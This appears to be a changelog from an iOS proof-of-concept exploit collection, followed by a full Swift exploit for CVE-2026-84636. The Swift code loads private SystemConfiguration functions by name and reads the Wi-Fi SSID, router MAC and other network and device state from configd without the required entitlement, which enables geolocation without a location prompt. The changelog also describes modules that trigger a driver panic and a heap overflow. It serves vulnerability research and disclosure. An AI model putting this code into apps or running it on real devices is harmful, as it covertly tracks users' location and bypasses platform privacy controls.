v2.1 — CVE-2026-112705 / 112621 / 84636

Three public research arrivals, each with a .swift and .c POC folder:

- CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers): app split into a
  property probe (ave.ntl) and a deliberate fire module (ave.ntl.fire);
  C twin carries a --force-host gate because a frame submit reaches the
  same driver that panicked the dev Mac, so the host only builds it
- CVE-2026-112621 (LinkPresentation LPAnimatedImageTranscoder): 256x16 ->
  256x48 container, loopback og:image delivery, LPMetadataProvider; probe
  checks the pool math, fire runs the real transcode; C twin reproduces the
  48-row clear against a guard page (32,768 B past the 16,384-byte pool)
- CVE-2026-84636 (configd dynamic store): SSID + router MAC without the
  wifi-info entitlement, compared in-process with CNCopyCurrentNetworkInfo

56 modules, 34 CVE folders, 45 Swift POC files, 34 C twins. Device IPA
2.1 build 4; simulator regression: sc.dynamicstore / ave.ntl / lp.heic all
done (overflow=32768, NTL refused 0/4 on the simulator's encoder path).

CVE-2026-84636/CVE-2026-84636.swift

@@ -0,0 +1,93 @@
+// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636
+// Wi-Fi SSID and router MAC without com.apple.developer.networking.wifi-info.
+//
+// CNCopyCurrentNetworkInfo is the supported API and refuses without the entitlement.
+// configd's dynamic store carries the same fields and is readable by any sandboxed
+// process: State:/Network/Interface/en0/AirPort holds SSID_STR, and the service IPv4
+// entry holds ARPResolvedHardwareAddress (the router MAC). Those two values are
+// enough for WiGLE-style geolocation without a location prompt.
+//
+// SCDynamicStore is private on iOS (the SDK marks it unavailable), so the symbols are
+// resolved from SystemConfiguration by name.
+//
+// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-84636 CVE-2026-84636.swift \
+//          -framework SystemConfiguration -framework CoreFoundation
+// Run:   ./cve-2026-84636
+
+import Foundation
+import SystemConfiguration
+import SystemConfiguration.CaptiveNetwork
+import CoreFoundation
+
+typealias CreateFn = @convention(c) (CFAllocator?, CFString, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?) -> CFTypeRef?
+typealias CopyFn = @convention(c) (CFTypeRef, CFString) -> CFPropertyList?
+typealias KeysFn = @convention(c) (CFTypeRef, CFString) -> CFArray?
+
+guard let handle = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_NOW),
+      let cSym = dlsym(handle, "SCDynamicStoreCreate"),
+      let vSym = dlsym(handle, "SCDynamicStoreCopyValue"),
+      let kSym = dlsym(handle, "SCDynamicStoreCopyKeyList") else {
+    print("SystemConfiguration symbols not found"); exit(1)
+}
+let create = unsafeBitCast(cSym, to: CreateFn.self)
+let copyValue = unsafeBitCast(vSym, to: CopyFn.self)
+let copyKeys = unsafeBitCast(kSym, to: KeysFn.self)
+
+guard let store = create(nil, "cve-2026-84636" as CFString, nil, nil) else {
+    print("SCDynamicStoreCreate failed"); exit(1)
+}
+
+func show(_ key: String) -> CFPropertyList? {
+    guard let v = copyValue(store, key as CFString) else {
+        print("\(key): <absent>")
+        return nil
+    }
+    print("\(key): \(v)")
+    return v
+}
+
+func dictField(_ v: CFPropertyList?, _ field: String) -> String? {
+    guard let d = v as? [String: Any] else { return nil }
+    return d[field].map { "\($0)" }
+}
+
+print("=== entitlement check ===")
+let captive = CNCopyCurrentNetworkInfo("en0" as CFString) as? [String: Any]
+print("CNCopyCurrentNetworkInfo: \(captive.map { "\($0)" } ?? "nil (entitlement missing)")")
+
+print("\n=== dynamic store: interface state ===")
+let airport = show("State:/Network/Interface/en0/AirPort")
+print("SSID_STR: \(dictField(airport, "SSID_STR") ?? "<absent>")")
+print("BSSID: \(dictField(airport, "BSSID") ?? "<absent>")")
+print("Channel: \(dictField(airport, "Channel") ?? "<absent>")")
+print("AuthType: \(dictField(airport, "AuthType") ?? "<absent>")")
+
+print("\n=== dynamic store: IPv4 service (router MAC) ===")
+let global = show("State:/Network/Global/IPv4")
+print("PrimaryService: \(dictField(global, "PrimaryService") ?? "<absent>")")
+print("Router: \(dictField(global, "Router") ?? "<absent>")")
+if let uuid = dictField(global, "PrimaryService") {
+    let svc = show("State:/Network/Service/\(uuid)/IPv4")
+    print("ARPResolvedHardwareAddress: \(dictField(svc, "ARPResolvedHardwareAddress") ?? "<absent>")")
+    _ = show("State:/Network/Service/\(uuid)/DHCP")
+}
+
+print("\n=== dynamic store: privacy-relevant keys ===")
+for key in ["State:/Network/Global/DNS",
+            "com.apple.MobileBluetooth",
+            "com.apple.MobileInternetSharing",
+            "com.apple.sharing:/AutoUnlock/Enabled",
+            "State:/IOKit/LowBatteryWarning",
+            "State:/IOKit/PowerManagement/SystemLoad/Detailed"] {
+    _ = show(key)
+}
+
+print("\n=== enumeration ===")
+if let keys = copyKeys(store, "State:/Network/.*" as CFString) as? [String] {
+    print("State:/Network keys: \(keys.count)")
+    for k in keys.sorted() { _ = show(k) }
+} else {
+    print("State:/Network key list: <none>")
+}
+
+print("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement")